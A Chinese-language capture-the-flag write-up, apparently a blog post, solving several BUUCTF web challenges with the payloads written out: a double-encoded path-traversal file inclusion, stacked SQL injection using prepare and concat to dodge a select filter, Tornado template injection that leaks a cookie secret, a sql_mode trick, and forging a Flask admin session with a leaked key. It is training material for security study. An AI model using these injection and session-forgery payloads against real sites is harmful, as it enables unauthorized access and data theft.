BUUCTF_WEB

[HCTF 2018]WarmUp

打開鏈接后是一張圖片,看看源碼提示source.php,進入source.php后看到一串的php代碼,接下來就是代碼審計了。

這里需要補充一個知識點phpmyadmin 4.8.1任意文件包含

上圖只是做一個粗略的介紹,看不懂的看下面:

首先,白名單(whilelist)里面有一個叫hint.php的東西,訪問一下,得到一個

不知道干嘛用,先放著,應該能用上的,畢竟是hint。

然后開始代碼審計:

這塊相當于C語言里面的main函數(shù),上面部分的內容相當于定義了一個函數(shù),那個函數(shù)在main函數(shù)里面被調用,先看看main函數(shù)長啥樣。首先上傳一個file,file必須滿足三個條件才能繼續(xù)執(zhí)行下去:
1.file必須不為空
2.file必須是字符串
3.file在執(zhí)行emmm::checkFile函數(shù)后返回值必須為True。

然后返回去看看emmm函數(shù)是干嗎用的。

首先傳入一個$page,也就是main函數(shù)里面的file,從上往下必須滿足4個條件:
1.page不為空且為字符串(在main函數(shù)里已經(jīng)判斷過了,這里沒啥用)
2.page變量必須在白名單里面
3.接下來,兩個函數(shù)一個mb_substr和mb_strpos,意思就是截取$page中?前面的字符串,然后再進行白名單校驗。
4.在url解碼后的$page的?前面是否在whitelist里面

接下來開始構造url:
1.根據(jù)白名單,那么肯定要構造? ?source.php
2.因為$page的問號前面的東西必須在白名單里面,白名單只包括source.php,所以source.php后面必須跟一個問號。但是如果傳參的內容有問號的話不符合傳參的格式,然后就會報錯,那選擇url編碼一下。然后,因為url在上傳到服務器的時候會自動解碼一次,所以這里需要二重編碼:? => %3F => %25%33%46 ,所以前面部分就是? ?source.php%25%33%46
3.接下來,只要利用../回到服務器的根目錄下,找到flag就行,經(jīng)過測試,需要4個../,但是多打幾個其實也可以,然后就是?? ?source.php%25%33%46../../../../ffffllllaaaagggg?????

得到falg:

flag{e8046a0c-9eb9-4249-a83c-33f79dee7d7b}

[強網(wǎng)杯 2019]隨便注

這里主要用到了堆疊注入以及concat繞過。

我相信看了上面的鏈接之后,讀者應該對堆疊注入至少有一個粗淺的認識了。其實很簡單,就是用分號隔開然后執(zhí)行多個命令。

試了一下,發(fā)現(xiàn)這里濾過了select。 不知道這里是怎么閉合的,先試試? 1';???? 以及?? 1; 然后發(fā)現(xiàn)當輸入? 1';的時候,下面會出現(xiàn)一條橫線,盲猜就這樣子接著輸入。試了一下1' order by 2; 可以回顯,但是當order by 3的時候,就出現(xiàn)錯誤,那這邊就有兩個注入點;

于是構造以下語句:

1';show tables;

出現(xiàn)了兩個表名,一個是 1919810931114514 ,另一個是 words。先試第一個:

1';show columns from `1919810931114514`;

這里要注意數(shù)字串為表名的表操作時要加反引號(就是鍵盤esc下面那個按鍵)

既然已經(jīng)出現(xiàn)flag了,那就不需要試word那個表了。然后想辦法進入flag這個字段就行。

然后再介紹一下預處理語句的使用方式:

PREPARE sqla from '[my sql sequece]'; //預定義SQL語句
EXECUTE sqla; //執(zhí)行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla; //刪除預定義SQL語句

這里我們只需要定義,不需要刪除。本來我們只需要構建一句:

1';select flag from `1919810931114514`;

但是前面也介紹過了,這里濾過了select,于是構建:

1';concat("sel","ect flag from `1919810931114514`);

但是這樣子沒有回顯,于是想到了采用預處理的辦法:

1';set @sql=concat("sel","ect flag from `1919810931114514`");
prepare mysql from @sql;
execute mysql;

這里的@sql、mysql只是一個變量,隨便輸什么。

發(fā)現(xiàn)這里濾過了小寫,那只要set跟prepare隨便一個改成大寫就行。

1';SET @sql=concat("sel","ect flag from `1919810931114514`");prepare mysql from @sql;execute mysql;


flag{612c6d7e-59c0-45a7-992c-3b0e81f76ff4}

easy_tornado

這里主要涉及到模板注入這個知識點,補充一下:https://www.freebuf.com/vuls/83999.html

首先,打開鏈接,發(fā)現(xiàn)有三個文件。依次點過去看看,第一個文件寫的是flag所在的地址:flag in /fllllllllllllag。第二個文件寫的是render,再結合題目,盲猜是模板注入。第三個文件夾是hint,提示md5(cookie_secret+md5(filename)),目前還不知道干嗎用,先放著。

這里分析一下url,url的格式是filename + 一個哈希值,然后結合一下第三個文件里教你md5怎么算,可能哈希值就是用這個公式算的,然后filename就是 /fllllllllllllag ,然后問題在于不知道cookie_secret。

第一個文件提示 /fllllllllllllag ,先試試filename=/fllllllllllllag試試。雖然報錯了,但是很神奇的出現(xiàn)了一個變量叫msg。

這個結合一下render,可能這個就是模板注入的注入點。試試構造 ?msg={{datetime}} 看看這是不是注入點:

有回顯,那就是找對了。但是要知道cookie_secret在哪,才能搞到值呀,大佬說在handler.settings變量里面,我不是很懂,文末會給出大佬博客,可以自己去看看,這里等我弄懂了再回來更新。

所以構造:/error?msg={{handler.settings}}

'cookie_secret': 'ef7aabe3-1511-4986-aee0-e2231aa7d73d'

知道了cookie_secret后,就爆MD5就完事了。根據(jù)md5(cookie_secret+md5(filename)),先把filename加密了,再兩個拼一起進行加密。可以選擇在線網(wǎng)站

md5: 3bf9f6cf685a6dd8defadabfb41a03a1

拼一起后:ef7aabe3-1511-4986-aee0-e2231aa7d73d3bf9f6cf685a6dd8defadabfb41a03a1

md5: 1cf14dbc4dce086ab497e3cb3000a994

所以構造payload:file?filename=/fllllllllllllag&filehash=1cf14dbc4dce086ab497e3cb3000a994

flag{4f506c03-993a-4c19-ab8a-a379788c9dff}

或者直接上腳本:

import hashlib
cookie = 'ef7aabe3-1511-4986-aee0-e2231aa7d73d'
filename = '/fllllllllllllag'
md5_filename = hashlib.md5(filename.encode(encoding='UTF-8')).hexdigest()
word=cookie+md5_filename
flag=hashlib.md5(word.encode(encoding='UTF-8')).hexdigest()
print(flag)

大佬博客:https://blog.csdn.net/weixin_44677409/article/details/94410580


[SUCTF 2019]EasySQL

補充:系統(tǒng)變量@@sql_modesql_mode:是一組mysql支持的基本語法及校驗規(guī)則
PIPES_AS_CONCAT:將“||”視為字符串的連接操作符而非或運算符,這和Oracle數(shù)據(jù)庫是一樣的,也和字符串的拼接函數(shù)Concat相類似

源碼可在GitHub上面查看https://github.com/team-su/SUCTF-2019/tree/master/Web/easy_sql
源碼如下:

首先看看黑名單:
"prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\",辣么多。然后看看執(zhí)行的語句:$sql="select ".$post['query']."||flag from Flag";

兩種解法:

第一種:正規(guī)解法。
通過堆疊注入,使得sql_mode的值為PIPES_AS_CONCAT。構造:setsql_mode=PIPES_AS_CONCAT;
所以整個語句為:1;set sql_mode=PIPES_AS_CONCAT;select 1

flag{94d0355c-9f28-42c4-976c-18bafbfb931c}

第二種:非預期解。
根據(jù)題目給的??? $sql="select ".$post['query']."||flag from Flag";?? 來構造query:*,1
然后執(zhí)行的$sql = select *,1 || flag from Flag;
因為*查詢了所有的數(shù)據(jù),所以flag也就出來了。


[HCTF 2018]admin

進入頁面,觀察一下,發(fā)現(xiàn)是一個很簡單的頁面,右上角有注冊和登錄兩個功能。查看了一下源碼,發(fā)現(xiàn)

那提示很明顯,應該是將admin的密碼改一下或者冒充admin進行一系列操作。不管怎么樣先注冊一個賬戶吧

然后看右上角,有三個(四個)功能區(qū):主頁、上傳、修改密碼、退出。

我的想法是參考我寫的文章:http://www.itdecent.cn/p/c51db608cf44中的《bug》這一塊,修改密碼的時候抓包一下,然后把用戶名修改為admin,那就可以將admin的密碼改了。但是,事實是這個并不能這么玩,抓到的是

莫得用戶名,但是這邊有session,說不定用戶信息就藏在這里。但是我們也沒辦法對它進行解密啊。

查看了一下修改密碼界面的源碼,發(fā)現(xiàn)了一個好東西

https://github.com/woadsl1234/hctf_flask/

應該是服務器就搭在github上,訪問一下這個網(wǎng)址,得到這個服務的源碼,接下來進行代碼審計即可,先把代碼clone下來。因為項目是flask,大佬說先看routes.py??匆幌耰ndex的注冊函數(shù)代碼:

發(fā)現(xiàn)index注冊函數(shù)沒做什么處理,直接返回index.html渲染模版,于是我們看一下templates/index.html代碼:

這里提示要登錄用戶名為admin才可以彈出我們想要的flag:hctf{xxxx}。

這里補充一下知識點:
1.flask的session是存儲在客戶端cookie中的,而且flask僅僅對數(shù)據(jù)進行了簽名。而簽名的作用是防篡改,而無法防止被讀取。而flask并沒有提供加密操作,所以其session的全部內容都是可以在客戶端讀取的,這就可能造成一些安全問題。具體可參考:https://www.leavesongs.com/PENETRATION/client-session-security.html
2.flask中session的計算是統(tǒng)一的,GitHub上可以找到具體的腳本,待會會附上。
3.密碼的計算需要明文加秘鑰,而session的計算也一樣,明文自己造,但是我們需要找到秘鑰。

首先我們需要做的是找到計算session的秘鑰,在那么多py文件中,找到了config.py文件:

盲猜ckj123就是我們需要的秘鑰。那接下來找找腳本:鏈接: https://pan.baidu.com/s/13H5kJIxhAjTeUoZyj-dC3A 提取碼: kxck

腳本使用的格式如下:
解密:'python 1.py' + 'encode(編碼)' + '-s + 秘鑰' + '-c + session值'
加密:'python 1.py' + 'decode(解碼)' + '-s + 秘鑰' + '-t + 明文'
注意格式,在windows下的操作,文本都需要帶上英文輸入法下的雙引號,而linux支持單雙引號。

然后得到了解密以后的session:

{'_fresh': True, '_id': b'4a30a6c0a4830dafb3a022de99f44906ec743ed4779af47471eb406c314845fce8ec7216b0f206ff52df2e11a781a893c7f186101061f89796588187e838bb97', 'csrf_token': b'406525a54149d714aabcb476c778abf10aad4003', 'image': b'mrTu', 'name': '123', 'user_id': '10'}

那把name改為admin,再進行加密即可:

得到:.eJxFkMuKg0AQRX9lqHUWPpJNIAtDqyRQLYY2TvdGjBqflQFN0OmQf58mAzO74t7icKqekF3Hampgex8f1QqytoTtEz4usAUe-hpD35F633BWm_nUKDpoKbxvpNMQiYE4izfI1CB1YaFz7jkr3CgNTF5YXAeD7OKZE2oU8ZqzM0knWasUXewMt9sTdp6jSNqGR0jJgqnvRixoItZrqUtCUTsovAWZXFRXb7juHS7qtcldJWodhcc2EsUOXisopvGa3b_66vZ_AvPM-sGWIrGMwkaxYuFh0EjirVE0pxndMGhV588yDYy-N-O8e-Nayuvqj3T5PCZl_NvccjIF5CW1N1jBY6rG99_AtuD1A_qgbG4.XeiGhg.-AM3md6rj8_HE6Li7r6ARdXZliU


flag{f9a90744-1eca-4913-a165-962d13b8bc58}

注意操作的界面要在index界面進行抓包,不是對修改密碼的界面進行抓包。

PS:這里寫的只是一種做法,大佬的簡書上面寫了三種,但是我不太會,這里附上大佬的鏈接大家自己解讀一下。
http://www.itdecent.cn/p/f92311564ad0


[強網(wǎng)杯 2019]高明的黑客

不太會寫腳本,這個題目的博客也看不太懂,等啥時候會了再做。



最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

友情鏈接更多精彩內容